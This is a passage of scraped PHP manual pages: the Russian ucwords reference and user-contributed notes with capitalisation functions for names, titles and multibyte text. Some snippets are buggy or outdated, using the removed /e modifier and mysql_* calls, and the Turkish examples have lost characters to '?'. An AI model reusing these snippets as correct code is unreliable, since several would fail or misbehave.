i.e. <?php echo nameize("john o'grady-smith"); ?>

returns John O'Grady-Smith

<?php

function nameize($str,$a_char = array("'","-"," ")){
    //$str contains the complete raw name string
    //$a_char is an array containing the characters we use as separators for capitalization. If you don't pass anything, there are three in there as default.
    $string = strtolower($str);
    foreach ($a_char as $temp){
        $pos = strpos($string,$temp);
        if ($pos){
            //we are in the loop because we found one of the special characters in the array, so lets split it up into chunks and capitalize each one.
            $mend = '';
            $a_split = explode($temp,$string);
            foreach ($a_split as $temp2){
                //capitalize each portion of the string which was separated at a special character
                $mend .= ucfirst($temp2).$temp;
                }
            $string = substr($mend,0,-1);
            }
        }
    return ucfirst($string);
    }

?>
webmaster at onmyway dot cz 11-Feb-2008 03:31
Inspired by the lcfirst function a simple mb_lcfirst to cope with multibyte strings:

<?php
function mb_lcfirst($str, $enc = null)
{
  if($enc === null) $enc = mb_internal_encoding();
  return mb_strtolower(mb_substr($str, 0, 1, $enc), $enc).mb_substr($str, 1, mb_strlen($str, $enc), $enc);
}
?>
Uwe 26-Jul-2007 08:08
@adefoor, Ken and Zee

Changing the case can only be done by understanding the text. Take for example "USA", "Sunday", "March", "I am ...", abbreviations like "prob." and so on.
adefoor at gmail dot com 12-Jul-2007 11:57
Ken and zee

One thing I would do to make this more unviersally work would be to add strtolower() around your $sentence.  Doing this will allow you to convert an all caps text block as well as an all lowercase text block.

<?php

function sentence_cap($impexp, $sentence_split) {
    $textbad=explode($impexp, $sentence_split);
    $newtext = array();
    foreach ($textbad as $sentence) {
        $sentencegood=ucfirst(strtolower($sentence));
        $newtext[] = $sentencegood;
    }
    $textgood = implode($impexp, $newtext);
    return $textgood;
}

$text = "this is a sentence. this is another sentence! this is the fourth sentence? no, this is the fourth sentence.";
$text = sentence_cap(". ",$text);
$text = sentence_cap("! ",$text);
$text = sentence_cap("? ",$text);

echo $text; // This is a sentence. This is another sentence! This is the fourth sentence? No, this is the fourth sentence.

?>
Ken Kehler 14-Mar-2007 12:03
@ zee: this should solve your !, ?, and any punctuations you want to add. It can probably be cleaned up a bit.

<?php

function sentence_cap($impexp, $sentence_split) {
    $textbad=explode($impexp, $sentence_split);
    $newtext = array();
    foreach ($textbad as $sentence) {
        $sentencegood=ucfirst($sentence);
        $newtext[] = $sentencegood;
    }
    $textgood = implode($impexp, $newtext);
    return $textgood;
}

$text = "this is a sentence. this is another sentence! this is the fourth sentence? no, this is the fourth sentence.";
$text = sentence_cap(". ",$text);
$text = sentence_cap("! ",$text);
$text = sentence_cap("? ",$text);

echo $text; // This is a sentence. This is another sentence! This is the fourth sentence? No, this is the fourth sentence.

?>
Carel at divers information with dotcom 06-Jan-2007 02:55
I made a small change. Now it takes care of points in numbers

function ucsentence ($string){
   $string = explode ('.', $string);
   $count = count ($string);
   for ($i = 0; $i < $count; $i++){
       $string[$i]  = ucfirst (trim ($string[$i]));
       if ($i > 0){
           if ((ord($string[$i]{0})<48) || (ord($string[$i]{0})>57)) {
              $string[$i] = ' ' . $string[$i];
           }
       }
   }
   $string = implode ('.', $string);
   return $string;
}
26-Oct-2006 07:45
Some simple function for cyrillic and latin letters both:

function rucfirst($str) {
    if(ord(substr($str,0,1))<192) return ucfirst($str);
    else
    return chr(ord(substr($str,0,1))-32).substr($str,1);
}
Michael 12-Sep-2006 06:01
This is what you would expect php to deliver if there was a built-in function named ucsentence.

function ucsentence ($string){
    $string = explode ('.', $string);
    $count = count ($string);
    for ($i = 0; $i < $count; $i++){
        $string[$i]  = ucfirst (trim ($string[$i]));
        if ($i > 0){
            $string[$i] = '&nbsp;&nbsp;' . $string[$i];
        }
    }
    $string = implode ('.', $string);
    return $string;
}
Markus Ernst 31-Mar-2006 12:34
A combination of the below functions to enable ucfirst for multibyte strings in a shared hosting environment (where you can not always count on mbstring to be installed):

<?php
function my_mb_ucfirst($str, $e='utf-8') {
    if (function_exists('mb_strtoupper')) {
        $fc = mb_strtoupper(mb_substr($str, 0, 1, $e), $e);
        return $fc.mb_substr($str, 1, mb_strlen($str, $e), $e);
    }
    else {
        $str = utf8_decode($str);
        $str[0] = strtr($str[0],
            "abcdefghyijklmnopqrstuvwxyz".
            "\x9C\x9A\xE0\xE1\xE2\xE3".
            "\xE4\xE5\xE6\xE7\xE8\xE9".
            "\xEA\xEB\xEC\xED\xEE\xEF".
            "\xF0\xF1\xF2\xF3\xF4\xF5".
            "\xF6\xF8\xF9\xFA\xFB\xFC".
            "\xFE\xFF",
            "ABCDEFGHYIJKLMNOPQRSTUVWXYZ".
            "\x8C\x8A\xC0\xC1\xC2\xC3\xC4".
            "\xC5\xC6\xC7\xC8\xC9\xCA\xCB".
            "\xCC\xCD\xCE\xCF\xD0\xD1\xD2".
            "\xD3\xD4\xD5\xD6\xD8\xD9\xDA".
            "\xDB\xDC\xDE\x9F");
        return utf8_encode($str);
    }
}
?>
Bartuc 26-Feb-2006 05:28
Here is the fixed function for Turkish alphabet..

<?php

function uc_first($str){
   $str[0] = strtr($str,
   "abcdefgh?ijklmnopqrstuvwxyz".
   "\x9C\x9A\xE0\xE1\xE2\xE3".
   "\xE4\xE5\xE6\xE7\xE8\xE9".
   "\xEA\xEB\xEC\xED\xEE\xEF".
   "\xF0\xF1\xF2\xF3\xF4\xF5".
   "\xF6\xF8\xF9\xFA\xFB\xFC".
   "\xFE\xFF",
   "ABCDEFGHI?JKLMNOPQRSTUVWXYZ".
   "\x8C\x8A\xC0\xC1\xC2\xC3\xC4".
   "\xC5\xC6\xC7\xC8\xC9\xCA\xCB".
   "\xCC\xCD\xCE\xCF\xD0\xD1\xD2".
   "\xD3\xD4\xD5\xD6\xD8\xD9\xDA".
   "\xDB\xDC\xDE\x9F");
   return $str;
}

?>
Markus Ernst 12-Jan-2006 06:39
plemieux' function did not work for me without passing the encoding to every single mb function (despite ini_set('default_charset', 'utf-8') at the top of the script). This is the example that works in my application (PHP 4.3):

<?php
function my_mb_ucfirst($str, $e='utf-8') {
    $fc = mb_strtoupper(mb_substr($str, 0, 1, $e), $e);
    return $fc.mb_substr($str, 1, mb_strlen($str, $e), $e);
}
?>
plemieux 29-Sep-2005 11:05
Simple multi-bytes ucfirst():

<?php
function my_mb_ucfirst($str) {
    $fc = mb_strtoupper(mb_substr($str, 0, 1));
    return $fc.mb_substr($str, 1);
}
?>
info [at] spwdesign [dot] com 23-Jun-2005 12:48
This is a simple code to get all the 'bad words', stored in a database, out of the text. You could use str_ireplace but since that's installed on PHP5 only, this works as well. It strtolowers the text first then places capitals with ucfirst() where it thinks a capital should be placed, at a new sentence. The previous sentence is ended by '. ' then.

<?php
function filter($text){
    $filters=mysql_query("SELECT word,result FROM filter");
    while($filter=mysql_fetch_array($filters)){
        $text=str_replace($filter[word],$filter[result],strtolower($text));
        $parts=explode(". ",$text);
        for($i=0;$i<count($parts);$i++){
            $parts[$i]=ucfirst($parts[$i]);
        }
        $text=implode(". ",$parts);
    }
    return $text;
}
?>
12-Mar-2005 05:11
Ah, the last code were spoiled, here is the fixed one:

<?php

function uc_first($str){
    $str[0] = strtr($str,
    "abcdefghijklmnopqrstuvwxyz".
    "\x9C\x9A\xE0\xE1\xE2\xE3".
    "\xE4\xE5\xE6\xE7\xE8\xE9".
    "\xEA\xEB\xEC\xED\xEE\xEF".
    "\xF0\xF1\xF2\xF3\xF4\xF5".
    "\xF6\xF8\xF9\xFA\xFB\xFC".
    "\xFD\xFE\xFF",
    "ABCDEFGHIJKLMNOPQRSTUVWXYZ".
    "\x8C\x8A\xC0\xC1\xC2\xC3\xC4".
    "\xC5\xC6\xC7\xC8\xC9\xCA\xCB".
    "\xCC\xCD\xCE\xCF\xD0\xD1\xD2".
    "\xD3\xD4\xD5\xD6\xD8\xD9\xDA".
    "\xDB\xDC\xDD\xDE\x9F");
    return $str;
}

?>

So, this function changes also other letters into uppercase, ucfirst() does only change: a-z to: A-Z.
steven at tux dot appstate dot edu 21-Jun-2004 12:14
Note: the return for this function changed in versions 4.3 when a string is passed of length 0.  In <4.2 false is returned and in >4.3 a string of length 0 is returned.

Example:

$name = ucfirst("");
var_dump($name);

$name = ucfirst("owen");
var_dump($name);

Results for <4.2:
bool(false) string(4) "Owen"

Results for >4.3:
string(0) "" string(4) "Owen"
Ami Hughes (ami at mistress dot name) 07-Apr-2004 08:34
In the event you sort of need multiple delimiters to apply the same action to, you can preg_replace this "second delimiter" enveloping it with your actual delimiter.

A for instance, would be if you wanted to use something like Lee's FormatName function in an input box designed for their full name as this script was only designed to check the last name as if it were the entire string.  The problem is that you still want support for double-barreled names and you still want to be able to support the possibility that if the second part of the double-barreled name starts with "mc", that it will still be formatted correctly.

This example does a preg_replace that surrounds the separator with your actual delimiter.  This is just a really quick alternative to writing some bigger fancier blah-blah function.  If there's a shorter, simpler way to do it, feel free to inform me.  (Emphasis on shorter and simpler because that was the whole point of this.) :D

Here's the example.  I've removed Lee's comments as not to confuse them with my own.

<?php

   function FormatName($name=NULL)
   {
       if (empty($name))
           return false;

       $name = strtolower($name);
       $name = preg_replace("[\-]", " - ",$name); // Surround hyphens with our delimiter so our strncmp is accurate
       if (preg_match("/^[a-z]{2,}$/i",$name))  // Simple preg_match if statement
       {

           $names_array = explode(' ',$name);  // Set the delimiter as a space.

           for ($i = 0; $i < count($names_array); $i++)
           {
               if (strncmp($names_array[$i],'mc',2) == 0 || ereg('^[oO]\'[a-zA-Z]',$names_array[$i]))
               {
                   $names_array[$i][2] = strtoupper($names_array[$i][2]);
               }
               $names_array[$i] = ucfirst($names_array[$i]);

           }

           $name = implode(' ',$names_array);
           $name = preg_replace("[ \- ]", "-",$name); //  Remove the extra instances of our delimiter
           return ucwords($name);

       }
   }

?>
bkimble at ebaseweb dot com 08-Jun-2003 05:02
Here is a handy function that makes the first letter of everything in a sentence upercase. I used it to deal with titles of events posted on my website ... I've added exceptions for uppercase words and lowercase words so roman numeral "IV" doesn't get printed as "iv" and words like "a" and "the" and "of" stay lowercase.

function RemoveShouting($string)
{
 $lower_exceptions = array(
        "to" => "1", "a" => "1", "the" => "1", "of" => "1"
 );

 $higher_exceptions = array(
        "I" => "1", "II" => "1", "III" => "1", "IV" => "1",
        "V" => "1", "VI" => "1", "VII" => "1", "VIII" => "1",
        "XI" => "1", "X" => "1"
 );

 $words = split(" ", $string);
 $newwords = array();

 foreach ($words as $word)
 {
        if (!$higher_exceptions[$word])
                $word = strtolower($word);
        if (!$lower_exceptions[$word])
                $word = ucfirst($word);
         array_push($newwords, $word);

 }

 return join(" ", $newwords);
}


Преобразовывает в верхний регистр первый символ каждого слова в строке

  • « ucfirst
  • utf8_decode »
  • PHP Manual
  • Функции для работы со строками
  • Преобразовывает в верхний регистр первый символ каждого слова в строке

ucwords

(PHP 4, PHP 5, PHP 7, PHP 8)

ucwords — Преобразовывает в верхний регистр первый символ каждого слова в строке

Описание

ucwords(string $string, string $separators = " \t\r\n\f\v"): string

Возвращает строку string, в которой первый символ каждого слова переведён в верхний регистр, если этот символ является символом ASCII между "a" (0x61) и "z" (0x7a).

Для этой функции слово - это строка символов, не перечисленных в separators. По умолчанию это: пробел, горизонтальная табуляция, возврат каретки, перевод строки, разрыв страницы и вертикальная табуляция.

Чтобы сделать аналогичное преобразование многобайтовых строк, используйте функцию mb_convert_case() с режимом MB_CASE_TITLE.

Список параметров

string

Входная строка.

separators

Необязательный параметр separators содержит символы разделителей слов.

Возвращаемые значения

Возвращает модифицированную строку.

Список изменений

Версия | Описание
8.2.0 | Приведение к единому регистру больше не зависит от настроек региональных установок, которые установили функцией setlocale(). Преобразовываются только символы кодировки ASCII.

Примеры

Пример #1 Пример использования ucwords()

<?php
$foo = 'hello world!';
$foo = ucwords($foo); // Hello World!

$bar = 'HELLO WORLD!';
$bar = ucwords($bar); // HELLO WORLD!
$bar = ucwords(strtolower($bar)); // Hello World!
?>

Пример #2 Пример ucwords() с заданным разделителем

<?php
$foo = 'hello|world!';
$bar = ucwords($foo); // Hello|world!

$baz = ucwords($foo, "|"); // Hello|World!
?>

Пример #3 Пример использования ucwords() с дополнительными разделителями

<?php
$foo = "mike o'hara";
$bar = ucwords($foo); // Mike O'hara

$baz = ucwords($foo, " \t\r\n\f\v'"); // Mike O'Hara
?>

Примечания

Замечание: Эта функция безопасна для обработки данных в двоичной форме.

Смотрите также

  • strtoupper() - Преобразовывает строку в верхний регистр
  • strtolower() - Преобразовывает строку в нижний регистр
  • ucfirst() - Преобразовывает первый символ строки в верхний регистр
  • mb_convert_case() - Меняет регистр символов в строке

User Contributed Notes

NOSPAM dot php at my dot jrklein dot com 25-Jul-2020 05:08
Based on code sample originally posted by "Anonymous" on 2005-12-14. The /e modifier is no longer supported by preg_replace(). Rewritten to use preg_replace_callback() instead. Tested with PHP 7.3.

The function below will standardize the capitalization on people's names, addresses, and the titles of reports and essays . Adapt the lists in "$all_uppercase" and "$all_lowercase" to suit the data that you are working with.

function ucwords_title($string, $is_name = false) {
    // Exceptions to standard case conversion
    if ($is_name) {
        $all_uppercase = '';
        $all_lowercase = 'De La|De Las|Der|Van De|Van Der|Vit De|Von|Or|And';
    } else {
        // Addresses, essay titles ... and anything else
        $all_uppercase = 'Us|Ca|Mx|Po|Rr|Se|Sw|Ne|Nw';
        $all_lowercase = 'A|And|As|By|In|Of|Or|To';
    }
    $prefixes = 'Mac|Mc';
    $suffixes = "'S";

    // Trim whitespace and convert to lowercase
    $str = strtolower(trim($string));

    // Capitalize all first letters
    $str = preg_replace_callback('/\\b(\\w)/', function ($m) {
        return strtoupper($m[1]);
    }, $str);

    if ($all_uppercase) {
        // Capitalize acronyms and initialisms (e.g. PHP)
        $str = preg_replace_callback('/\\b(' . $all_uppercase . ')\\b/', function ($m) {
            return strtoupper($m[1]);
        }, $str);
    }
    if ($all_lowercase) {
        // Decapitalize short words (e.g. and)
        if ($is_name) {
            // All occurrences will be changed to lowercase
            $str = preg_replace_callback('/\\b(' . $all_lowercase . ')\\b/', function ($m) {
                return strtolower($m[1]);
            }, $str);
        } else {
            // First and last word will not be changed to lower case (i.e. titles)
            $str = preg_replace_callback('/(?<=\\W)(' . $all_lowercase . ')(?=\\W)/', function ($m) {
                return strtolower($m[1]);
            }, $str);
        }
    }
    if ($prefixes) {
        // Capitalize letter after certain name prefixes (e.g 'Mc')
        $str = preg_replace_callback('/\\b(' . $prefixes . ')(\\w)/', function ($m) {
            return $m[1] . strtoupper($m[2]);
        }, $str);
    }
    if ($suffixes) {
        // Decapitalize certain word suffixes (e.g. 's)
        $str = preg_replace_callback('/(\\w)(' . $suffixes . ')\\b/', function ($m) {
            return $m[1] . strtolower($m[2]);
        }, $str);
    }

    return $str;
}

// A name example
print ucwords_title("MARIE-LOU VAN DER PLANCK-ST.JOHN", true);
// Output: Marie-Lou van der Planc-St.John

// A title example
print ucwords_title("to be or not to be");
// Output: "To Be or Not to Be"
ganzales at inbox dot ru 26-May-2020 01:03
<?php
function mb_ucwords($string, $delimiter = ' (-"[') {
    $result = $upper = '';
    for ($i = 0; $i < mb_strlen($string); $i++) {
        $letter = mb_substr($string, $i, 1);
        $result .= $upper || $i == 0 ? mb_convert_case($letter, MB_CASE_TITLE) : $letter;
        $upper = ($i + 1) < mb_strlen($string) && mb_strpos($delimiter, $letter) !== false ? 1 : 0;
    }
    return $result;
}
?>
@manzoorwanijk 04-Sep-2018 09:39
for PHP < 5.4.32 with $delimiters

function _ucwords( $str, $delimiters = " \t\r\n\f\v" ) {

    $delims = preg_split( '//u', $delimiters, -1, PREG_SPLIT_NO_EMPTY );

    foreach ( $delims as $delim ) {

        if ( false !== strpos( $str, $delim ) ) {

            $str = implode( $delim, array_map( 'ucfirst', explode( $delim, $str ) ) );
        }
    }

    return $str;
}
almino dot melo at gmail dot com 29-Feb-2016 08:36
ucwords for human names in Brazil.
ucwords personalizada para nomes proprios brasileiros.

<?php
    /**
     * ucwords for human names in Brazil
     * Edit from http://php.net/manual/pt_BR/function.ucwords.php#112795
     * @param string $str
     * @param array $delimiters
     * @param array $exceptions Exceptions are words you don't want converted
     * @return string
     */
    function name($str, $delimiters = array(
        " ",
        "-",
        ".",
        "'",
        "O'",
        "Mc",
    ), $exceptions = array(
        "de",
        "do",
        "da",
        "dos",
        "das",
    )) {
        $result = '';

        foreach ($delimiters as $delimiter) {
            # If string has a delimiter
            if (strstr($str, $delimiter)) {

                $ucfirst = array();
                # Apply ucfirst to every word
                foreach (explode($delimiter, mb_strtolower($str)) as $word) {
                    $word = mb_convert_case($word, MB_CASE_TITLE);

                    # Working with exceptions
                    if (in_array(mb_strtoupper($word), $exceptions)) {
                        $word = mb_strtoupper($word);
                    } elseif (in_array(mb_strtolower($word), $exceptions)) {
                        $word = mb_strtolower($word);
                    } elseif (preg_match('/^M{0,4}(CM|CD|D?C{0,3})(XC|XL|L?X{0,3})(IX|IV|V?I{0,3})$/', mb_strtoupper($word))) {
                        # Is roman numerals? # http://stackoverflow.com/a/267405/437459
                        $word = mb_strtoupper($word);
                    }

                    $ucfirst[] = $word;
                }

                # string's first character uppercased
                $result = implode($delimiter, $ucfirst);
            }
        }

        return $result;
    }
?>
Lech 01-Sep-2015 02:36
This will correct capitalisation in names taking note of special capitalisation for Mc..., Mac..., and O'... Other special cases, of which I am not aware, can be added easily.

This is just a slight improvement on "deepdene at email dot com"'s name_case function... Thank you for original function.

<?php

function name_case($name) {
    if( !$name ) return $name;
    $newname = strtoupper($name[0]);
    $break = false;
    for( $i=1; $i<strlen($name); ++$i ) {
      $subed = substr($name, $i, 1);
      if( ord($subed) > 64 && ord($subed) < 123 || ord($subed) > 48 && ord($subed) < 58 ) {
        if( $break ) {
          $newname .= strtoupper($subed);
        }
        elseif( $i > 1 && in_array(substr($newname, $i-2, 2), array('Mc', 'O\'')) || $i > 2 && in_array(substr($newname, $i-3, 3), array('Mac')) ) {
          $newname .= strtoupper($subed);
        }
        else {
          $newname .= strtolower($subed);
        }
        $break = false;
      }
      else {
        // not a letter - a boundary
        $newname .= $subed;
        $break = true;
      }
    }
    return $newname;

?>
Alex Milkovskyi 13-May-2015 09:22
Convert string to in camel-case, useful for class name patterns:
<?php
/**
   * Convert string to in camel-case, useful for class name patterns.
   *
   * @param $string
   *   Target string.
   *
   * @return string
   *   Camel-case string.
   */
function toCamelCase($string){
    $string = str_replace('-', ' ', $string);
    $string = str_replace('_', ' ', $string);
    $string = ucwords(strtolower($string));
    $string = str_replace(' ', '', $string);
    return $string;
}
?>

Example:
toCamelCase(make_mE camel-case pLEase) will return:
MakeMeCamelCasePlease
Florian 20-Feb-2015 08:03
to convert first letters in a firstname like: "jean-pierre" to "Jean-Pierre":

I simply replace the '-' with a vertical tabulation, because the ucwords() function replace the letter just after it.

so, I use the sentence:
$result=str_replace(chr(11),'-',ucwords(strtolower(str_replace('-',chr(11),$firstname))));
antoniomax at antoniomax dot com 23-Jul-2013 06:04
Para formatar nomes em pt-br:

<?php

    function titleCase($string, $delimiters = array(" ", "-", ".", "'", "O'", "Mc"), $exceptions = array("de", "da", "dos", "das", "do", "I", "II", "III", "IV", "V", "VI"))
    {
        /*
         * Exceptions in lower case are words you don't want converted
         * Exceptions all in upper case are any words you don't want converted to title case
         *   but should be converted to upper case, e.g.:
         *   king henry viii or king henry Viii should be King Henry VIII
         */
        $string = mb_convert_case($string, MB_CASE_TITLE, "UTF-8");
        foreach ($delimiters as $dlnr => $delimiter) {
            $words = explode($delimiter, $string);
            $newwords = array();
            foreach ($words as $wordnr => $word) {
                if (in_array(mb_strtoupper($word, "UTF-8"), $exceptions)) {
                    // check exceptions list for any words that should be in upper case
                    $word = mb_strtoupper($word, "UTF-8");
                } elseif (in_array(mb_strtolower($word, "UTF-8"), $exceptions)) {
                    // check exceptions list for any words that should be in upper case
                    $word = mb_strtolower($word, "UTF-8");
                } elseif (!in_array($word, $exceptions)) {
                    // convert to uppercase (non-utf8 only)
                    $word = ucfirst($word);
                }
                array_push($newwords, $word);
            }
            $string = join($delimiter, $newwords);
       }//foreach
       return $string;
    }

?>

Usage:

<?php
    $s = 'SAO JOAO DOS SANTOS';
    $v = titleCase($s); // 'Sao Joao dos Santos'
?>
hrvoj3e at gmail dot com 30-Apr-2013 02:44
UTF-8 Title Case that works for me even with hyphens involved!

$str = 'DaaCaa-AAAaaa, BBbb';

$str = mb_convert_case($str, MB_CASE_TITLE, "UTF-8");

echo($str): 'Daacaa-Aaaaaa, Bbbb'
Luca Borrione luca -a email -d c_o_m 10-Sep-2012 03:41
Features:
- multi byte compatible
- handles multiple delimiters

<?php
function ucwords_specific ($string, $delimiters = '', $encoding = NULL)
{
    if ($encoding === NULL) { $encoding = mb_internal_encoding();}

    if (is_string($delimiters))
    {
        $delimiters =  str_split( str_replace(' ', '', $delimiters));
    }

    $delimiters_pattern1 = array();
    $delimiters_replace1 = array();
    $delimiters_pattern2 = array();
    $delimiters_replace2 = array();
    foreach ($delimiters as $delimiter)
    {
        $uniqid = uniqid();
        $delimiters_pattern1[]   = '/'. preg_quote($delimiter) .'/';
        $delimiters_replace1[]   = $delimiter.$uniqid.' ';
        $delimiters_pattern2[]   = '/'. preg_quote($delimiter.$uniqid.' ') .'/';
        $delimiters_replace2[]   = $delimiter;
    }

    // $return_string = mb_strtolower($string, $encoding);
    $return_string = $string;
    $return_string = preg_replace($delimiters_pattern1, $delimiters_replace1, $return_string);

    $words = explode(' ', $return_string);

    foreach ($words as $index => $word)
    {
        $words[$index] = mb_strtoupper(mb_substr($word, 0, 1, $encoding), $encoding).mb_substr($word, 1, mb_strlen($word, $encoding), $encoding);
    }

    $return_string = implode(' ', $words);

    $return_string = preg_replace($delimiters_pattern2, $delimiters_replace2, $return_string);

    return $return_string;
}
?>

Params:
1. string: The string being converted
2. delimiters: a string with all wanted delimiters written one after the other e.g. "-'"
3. encoding: Is the character encoding. If it is omitted, the internal character encoding value will be used.

Example Usage:
<?php
mb_internal_encoding('UTF-8');
$string = "JEAN-PAUL d'artagnan sS-oA-eI hello - world";
echo ucwords_specific( mb_strtolower($string, 'UTF-8'), "-'");
?>

Output:
Jean-Paul D'Artagnan Ss-Oa-Ei Hello - World
qeremy [atta] gmail [dotta] com 27-Feb-2012 05:09
A proper Turkish solution;

<?php
function ucfirst_turkish($str) {
    $tmp = preg_split("//u", $str, 2, PREG_SPLIT_NO_EMPTY);
    return mb_convert_case(
        str_replace("i", "I", $tmp[0]), MB_CASE_TITLE, "UTF-8").
        $tmp[1];
}

function ucwords_turkish($str) {
    return preg_replace("/(\\w+)/ue", "ucfirst_turkish('\\\\1').'$2'", $str);
}

$str = "iyilik guzelLIK seker ";
echo ucwords($str) ."\\n";   // Iyilik GuzelLIK seker
echo ucwords_turkish($str); // Iyilik GuzelLIK Seker
?>
haijerome at gmail dot com 21-Nov-2011 09:14
Thanks a lot brother.

I tested it with a few variations. It works perfectly. Its really great and simple usage of the existing functions. It would be glad to all PHP folks and good to PHP if these kind of functions will be in PHP library on upcoming releases.

<?php

$name1 = "mark-yves robert";
$name2 = "mark-yves robert-bryan";

echo '<br/>Name 1 (mark-yves robert) =>'.
ucwordspecific($name1,'-'); //returns Mark-Yves Robert

echo '<br/>Name 2 (mark-yves robert-bryan)

=>'.ucwordspecific($name2,'-');
//returns Mark-Yves Robert-Bryan

function ucwordspecific($str,$delimiter){
$delimiter_space = '- ';
return str_replace($delimiter_space,$delimiter,ucwords

(str_replace($delimiter,$delimiter_space,$str)));
}

?>

Proud to be a PHP enthusiast always :-)
ahmet363 at gmail dot com 16-Oct-2011 11:14
Turkish character with the ucwords function...

<?php
function ucwords_tr($gelen){

  $sonuc='';

  $kelimeler=explode(" ", $gelen);

  foreach ($kelimeler as $kelime_duz){

    $kelime_uzunluk=strlen($kelime_duz);
    $ilk_karakter=mb_substr($kelime_duz,0,1,'UTF-8');

    if($ilk_karakter=='C' or $ilk_karakter=='c'){

      $ilk_karakter='C';

    }elseif ($ilk_karakter=='G' or $ilk_karakter=='g') {

      $ilk_karakter='G';

    }elseif($ilk_karakter=='I' or $ilk_karakter=='?'){

      $ilk_karakter='I';

    }elseif ($ilk_karakter=='I' or $ilk_karakter=='i'){

      $ilk_karakter='I';

    }elseif ($ilk_karakter=='O' or $ilk_karakter=='o'){

      $ilk_karakter='O';

    }elseif ($ilk_karakter=='S' or $ilk_karakter=='s'){

      $ilk_karakter='S';

    }elseif ($ilk_karakter=='U' or $ilk_karakter=='u'){

      $ilk_karakter='U';

    }else{

      $ilk_karakter=strtoupper($ilk_karakter);

    }

    $digerleri=mb_substr($kelime_duz,1,$kelime_uzunluk,'UTF-8');
    $sonuc.=$ilk_karakter.kucuk_yap($digerleri).' ';

  }

  $son=trim(str_replace('  ', ' ', $sonuc));
  return $son;

}

function kucuk_yap($gelen){

  $gelen=str_replace('C', 'c', $gelen);
  $gelen=str_replace('G', 'g', $gelen);
  $gelen=str_replace('I', '?', $gelen);
  $gelen=str_replace('I', 'i', $gelen);
  $gelen=str_replace('O', 'o', $gelen);
  $gelen=str_replace('S', 's', $gelen);
  $gelen=str_replace('U', 'u', $gelen);
  $gelen=strtolower($gelen);

  return $gelen;
}

echo ucwords_tr('SEKardi SEMSIYE GELENO OMER'); // Sekardi Semsiye Geleno Omer
echo ucwords_tr('sEKER iMSAK sOLEN'); // Seker Imsak Solen
jmarois at ca dot ibm dot com 12-Feb-2010 08:51
My quick and dirty ucname (Upper Case Name) function.

<?php
//FUNCTION

function ucname($string) {
    $string =ucwords(strtolower($string));

    foreach (array('-', '\'') as $delimiter) {
      if (strpos($string, $delimiter)!==false) {
        $string =implode($delimiter, array_map('ucfirst', explode($delimiter, $string)));
      }
    }
    return $string;
}
?>
<?php
//TEST

$names =array(
  'JEAN-LUC PICARD',
  'MILES O\'BRIEN',
  'WILLIAM RIKER',
  'geordi la forge',
  'bEvErly CRuSHeR'
);
foreach ($names as $name) { print ucname("{$name}\n"); }

//PRINTS:
/*
Jean-Luc Picard
Miles O'Brien
William Riker
Geordi La Forge
Beverly Crusher
*/
?>

You can add more delimiters in the for-each loop array if you want to handle more characters.
robert at broofa dot com 08-Jul-2009 06:42
Some recipes for switching between underscore and camelcase naming:

<?php
// underscored to upper-camelcase
// e.g. "this_method_name" -> "ThisMethodName"
preg_replace('/(?:^|_)(.?)/e',"strtoupper('$1')",$string);

// underscored to lower-camelcase
// e.g. "this_method_name" -> "thisMethodName"
preg_replace('/_(.?)/e',"strtoupper('$1')",$string);

// camelcase (lower or upper) to underscored
// e.g. "thisMethodName" -> "this_method_name"
// e.g. "ThisMethodName" -> "this_method_name"
strtolower(preg_replace('/([^A-Z])([A-Z])/', "$1_$2", $string));
?>

Of course these aren't 100% symmetric.  For example...
  * this_is_a_string -> ThisIsAString -> this_is_astring
  * GetURLForString -> get_urlfor_string -> GetUrlforString
Greg S 26-Apr-2009 09:16
I did the same thing as Catalin, but for French names.

Here's what I'm doing :

For each word (not considering the single-quote as a word boundary character) :
- Put the word in lower case
- If the word is "de", return, else, put the first letter in upper-case
- See if the second character of the word is a single-quote
- Yes ? Put the next char in upper case
- And if the char before the single quote is D, put it back to lower case (-> d)

This complies with the French rules for capitalization in names.

Sample results :
-d'Afoo Bar
-de Foo Bar
-O'Foo Bar
-Foo'bar

<?php
function my_ucwords($s) {
        $s = preg_replace_callback("/(\b[\w|']+\b)/s", fixcase_callback, $s);

        return $s;

    }

    function fixcase_callback($word) {

        $word = $word[1];

        $word = strtolower($word);

        if($word == "de")
            return $word;

        $word = ucfirst($word);

        if(substr($word,1,1) == "'") {
            if(substr($word,0,1) == "D") {
                $word = strtolower($word);
            }
            $next = substr($word,2,1);
            $next = strtoupper($next);
            $word = substr_replace($word, $next, 2, 1);
        }

        return $word;
    }
?>
strazds at gmail dot com 01-Nov-2008 02:45
ucwords for UTF-8 strings:

<?php
function mb_ucwords($str) {
    $str = mb_convert_case($str, MB_CASE_TITLE, "UTF-8");
    return ($str);
}
?>
Alex 27-Aug-2008 09:43
A modified sentenceNormalizer by gregomm

Features:
1- Removes duplicated question marks, exclamations and periods
2- Capitalize first letter of a sentence.
3- Split sentences not only with "." but also with "?" and "!"
4- Puts a white space at the end of each sentence
5- Retains newlines

--removed from orginal function--
undestand the meaning of "?" and "?" in languages like spanish.
undestand the htmlentitity version of this simbols.
--removed from orginal function--

<?php
function sentenceNormalizer($sentence_split) {
    $sentence_split = preg_replace(array('/[!]+/','/[?]+/','/[.]+/'),
                                   array('!','?','.'),$sentence_split);

    $textbad = preg_split("/(\!|\.|\?|\n)/", $sentence_split,-1,PREG_SPLIT_DELIM_CAPTURE);
    $newtext = array();
    $count = sizeof($textbad);

    foreach($textbad as $key => $string) {
        if (!empty($string)) {
            $text = trim($string, ' ');
            $size = strlen($text);

            if ($size > 1){
                $newtext[] = ucfirst(strtolower($text));
            }
                elseif ($size == 1) {
                    $newtext[] = ($text == "\n") ? $text : $text . ' ';
                }
        }
    }

    return implode($newtext);
}
?>
blake at goinoutwest dot com 29-Jan-2008 05:14
Relating to the mb_ucwords() function posted by Anonymous.  In order for this to actually be multi-byte compliant, you would also need to use mb_substr() and mb_strlen() instead of substr and strlen respectively.

Here it is corrected and extended even further to allow multiple word separators and a list of exceptions to correct after title casing. It's a bit tedious and inelegant, but things frequently are when dealing with human languages.

function mb_ucwords($str) {
    $exceptions = array();
    $exceptions['Hp'] = 'HP';
    $exceptions['Ibm'] = 'IBM';
    $exceptions['Gb'] = 'GB';
    $exceptions['Mb'] = 'MB';
    $exceptions['Cd'] = 'CD';
    $exceptions['Dvd'] = 'DVD';
    $exceptions['Usb'] = 'USB';
    $exceptions['Mm'] = 'mm';
    $exceptions['Cm'] = 'cm';
    //    etc.

    $separator = array(" ","-","+");

    $str = mb_strtolower(trim($str));
    foreach($separator as $s){
        $word = explode($s, $str);

        $return = "";
        foreach ($word as $val){
